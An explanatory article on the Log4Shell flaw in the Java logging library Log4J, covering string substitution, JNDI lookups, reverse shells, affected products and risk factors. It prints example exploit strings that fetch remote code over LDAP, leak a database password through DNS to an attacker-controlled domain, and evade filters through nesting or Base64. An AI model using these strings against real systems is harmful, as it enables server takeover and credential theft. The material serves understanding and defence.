What is Log4Shell? Causes and effects of the Java vul­ner­ab­il­ity

The Log4Shell vul­ner­ab­il­ity shook the cyber world at the end of 2021. Attackers were able to in­filt­rate the systems of the largest or­gan­isa­tions globally with little effort. Keep reading to find out what Log4Shell is and what pre­cau­tions you can take.

Log4Shell is one of the most serious Java vul­ner­ab­il­it­ies dis­covered to date. In addition to tapping sensitive data, the vul­ner­ab­il­ity can be exploited to open reverse shells on remote systems. If a reverse shell exists, attackers can insert further malicious code or take over the system com­pletely. The US National Vul­ner­ab­il­ity Database (NVD) rated the Log4Shell vul­ner­ab­il­ity as 'Crit­ic­al' with the highest score of 10.0, giving it the widest scope to date.

The un­der­ly­ing vul­ner­ab­il­ity was located in the widely used Java logging library Log4J. More than 35,000 packages on Maven Central, the largest Java re­pos­it­ory, were affected by the vul­ner­ab­il­ity once it became known. Log4Shell threatened thousands of products from hundreds of vendors. Hardware solutions were also affected in addition to cloud services and software.

The fact that the Log4Shell vul­ner­ab­il­ity had existed since 2013 was par­tic­u­larly worrying. It went unnoticed by the public, which made it possible to in­filt­rate a wide variety of systems, including those of large providers. We know now that pro­fes­sion­al groups such as in­tel­li­gence services and hackers actively exploited the vul­ner­ab­il­ity to attack systems and steal data.

'Log4Shell' describes the basic operating principle of the vul­ner­ab­il­ity. A vul­ner­ab­il­ity in the Java logging library Log4J is exploited to launch a reverse shell on a remote system. But what is Log4J and what is a reverse shell exactly?

The Log4J library is main­tained by the Apache Software Found­a­tion. It is one of the most widely used standard tools for logging in Java. Logging func­tion­al­ity is an essential part of larger systems which are con­tinu­ously gen­er­at­ing, eval­u­at­ing, and storing status messages. Data logged by default includes header in­form­a­tion which is trans­mit­ted to web servers in HTTP requests. Below is an example of an Apache log entry. The last part is the user agent string:

A reverse shell is a gateway which allows attackers to ma­nip­u­late or take over a remote system. Starting a reverse shell is in every criminal hacker’s rep­er­toire. It usually requires existing access to the affected system, which can be created with little effort by ex­ploit­ing the Log4Shell vul­ner­ab­il­ity.

The string sub­sti­tu­tions in the Log4J func­tion­al­ity are the main problem with the Log4Shell vul­ner­ab­il­ity. Sub­sti­tu­tions allow dynamic content to be inserted in place­hold­ers. This is similar to the sub­sti­tu­tion of variables in shell scripts. In terms of security, it is prob­lem­at­ic if the contents of sub­sti­tu­tions can be ma­nip­u­lated from the outside. This is exactly the case when user-defined data such as the user agent string is logged.

Let’s take a look at how sub­sti­tu­tions are con­struc­ted and how they work. The general syntax of a sub­sti­tu­tion consists of two parts. The first is a place­hold­er which is formed with a dollar sign followed by curved brackets and the second is a prefix-name which separated by a colon:

The prefix specifies the type of sub­sti­tu­tion which should be carried out. The following sample code is sub­sti­tuted with the Java version of the running system when executed:

It possible for attackers to exploit known re­spect­ive Java vul­ner­ab­il­it­ies with this seemingly harmless example. In fact, several possible sub­sti­tu­tions are critical to the system’s security. In the context of Log4Shell, JNDI lookup sub­sti­tu­tions became par­tic­u­larly notorious.

The Java Naming and Directory Interface (JNDI) allows you to reload con­fig­ur­a­tions from a local Java class. However, it is also possible to load con­fig­ur­a­tions from a remote system using JNDI. Log4Shell attacks used an LDAP server under the attacker’s control, which delivered the malicious code to open the reverse shell. This is because a Java class can contain arbitrary code.

It was therefore suf­fi­cient to sub­sti­tute a string of the form ${jndi:ldap://example.com/evil-file} into a system with vul­ner­able Log4J. Exploit code can be reloaded from an LDAP server once the sub­sti­tu­tion is triggered. The exploit can be carried out on the vul­ner­able system. This allows scareware and other malware to be installed depending on the attacker’s target.

The prefixes 'env' and 'base64' can also be used for attacks. Below is an overview of the available sub­sti­tu­tion prefixes including the context:

A vul­ner­ab­il­ity can be exploited by following a specific procedure. This is called an exploit. Multiple exploits often exist for a single vul­ner­ab­il­ity. This is also the case with Log4Shell. There were two main types of attack once it became known. They differed in the JNDI used:

1. Take over server or device

A reverse shell is launched on the target system in this type of attack. This may involve ad­di­tion­al exploits to execute malicious code on the target system. This situation is possible by logging a specially prepared string.

To attack a vul­ner­able web server, it is suf­fi­cient to query any resource and use an exploit string as a user agent. The web server logs the exploit string, the sub­sti­tu­tion is executed, and the attack begins. Below is an example of a logged exploit string:

2. Tap sensitive data

This type of attack reads sensitive data in the form of en­vir­on­ment variables from the target system. The exploit relies on dy­nam­ic­ally creating an apparent DNS name res­ol­u­tion by sub­sti­tu­tion. This involves encoding the value of an en­vir­on­ment variable as a subdomain:

Attackers use a system under their own control as a bridge­head in both cases. In the first case, it is an LDAP server that delivers malicious code. In the second case, the name server where the DNS request is sent is under the control of the attackers. Let’s look at this case in detail.

Let’s imagine that an en­vir­on­ment variable named “DB_PASS” on the vul­ner­able system contains the password for a database. Let’s assume that the value is e3Ct­DewUUwAfi­wWTF­tAh­fettlQ2Lp5. The exploit string ${jndi:dns://${env:DB_PASS}.example.com} triggers a DNS query for the subdomain e3Ct­DewUUwAfi­wWTF­tAh­fettlQ2Lp5.example.com.

The DNS request for example.com goes to the name server under control of the attackers. The malicious name server reads the value of the subdomain and stores it. The attackers then obtain the vul­ner­able server’s database password.

The Log4Shell vul­ner­ab­il­ity resulted from a com­bin­a­tion of risk factors. Let’s look at the most important ones:

1.The Java vul­ner­ab­il­ity is in the logging library.

A logging library like Log4J seems re­l­at­ively harmless at first. A logging library is likely to be viewed less crit­ic­ally, in com­par­is­on to libraries for au­then­tic­a­tion or en­cryp­tion.

2. Java is widely used.

Java’s unique selling point as a language and en­vir­on­ment is that Java runs on virtually all platforms. Therefore, the Log4Shell vul­ner­ab­il­ity can affect an enormous number of programs and services. Java is also partly in­teg­rated in embedded systems such as routers and Internet of Things devices. These include private cameras and smart home devices.

3. A stack of tech­no­lo­gies is involved.

The security problem arises from the linking of several tech­no­lo­gies. The com­bin­a­tion of Log4J, JNDI, LDAP and string sub­sti­tu­tions leads to the security gap and opens the door to attacks.

4. The exploit seeps to deeper levels.

In a best-case scenario, the damage can remain localised if a vul­ner­ab­il­ity only affects the vul­ner­able system. However, let’s imagine that an exploit string is received and logged with a web interface. The exploit string can possibly be passed on to un­der­ly­ing systems and only become active when evaluated there.

5. Exploit strings are difficult to detect.

There are many ways to disguise malicious code due to the com­plex­ity of possible sub­sti­tu­tions. For example, nested sub­sti­tu­tions are possible. A string of the form ${${lower:j}ndi} does not directly contain the string jndi and cannot be auto­mat­ic­ally filtered. The string ${jndi} is only created during res­ol­u­tion. It is also possible to disguise parts of the code with Base64 encoding, eval­u­at­ing the string ${base64:SGVsbG8gV29ybGQhCg==} to 'Hello World!'.

There were wide­spread attacks on systems worldwide following the reports of the Log4Shell vul­ner­ab­il­ity. Servers and devices were taken over and the theft of sensitive data was noted. Ten days after the exploits were published, the cy­ber­se­cur­ity firm Wiz sum­mar­ised that:

The systems taken over were misused to mine crypto coins, create botnets and send spam, among other things. Backdoors were also created to enable future execution of criminal activ­it­ies such as ransom­ware attacks. An attack that aims to remain un­detec­ted and in­filt­rate more systems is known as an advanced per­sist­ent threat (APT).

Larger or­gan­isa­tions reacted quickly once they learned about Log4Shell and took steps to protect their systems. However, there are probably many unpatched systems are still at risk. This is because attackers can scan a target system to find vul­ner­ab­il­it­ies.

Fighting against the Log4Shell vul­ner­ab­il­ity is made more com­plic­ated by the fact that detecting vul­ner­able systems can be difficult. It is not trivial to test for vul­ner­able versions of Log4J when Java ap­plic­a­tions are running as con­tain­ers or are available as an archived JAR file or container image. It is important to know if a vul­ner­able version is being used in order to secure it. Otherwise the system will be vul­ner­able to attack through the Log4Shell vul­ner­ab­il­ity.

Smart home and other IoT or embedded systems are more prob­lem­at­ic than cloud and server en­vir­on­ments. These include networked devices such as home routers, security cameras, etc. Since the Log4Shell vul­ner­ab­il­ity has existed for years, it is likely that devices with insecure versions are still in use. This is likely if support has already expired or the vendor no longer exists and there are usually no patches or updates available.

A com­pre­hens­ive list of software affected by Log4Shell can be found on GitHub. The list is main­tained by the Dutch National Cyber Security Centrum (NCSC-NL). The list is sorted by the first letter of the re­spect­ive man­u­fac­turer due to the amount of vul­ner­able software.

Private users were also affected by Log4Shell. Many of the most popular online services were vul­ner­able at the time of pub­lic­a­tion. These included Minecraft, Steam, AWS and Apple’s iCloud. In general, the major providers responded quickly. So there is need to delete your Steam account or switch to an AW al­tern­at­ive.

However, if you run your own Minecraft server, you should update the Minecraft server to the latest version. Sending an exploit string as a chat message can be enough to take over the server with vul­ner­able versions.

Hardware used in homes or small busi­nesses which is vul­ner­able to the Log4Shell vul­ner­ab­il­ity can still pose a threat to home users. Present­ing a specially crafted barcode to a sur­veil­lance camera can also be enough to take over the device.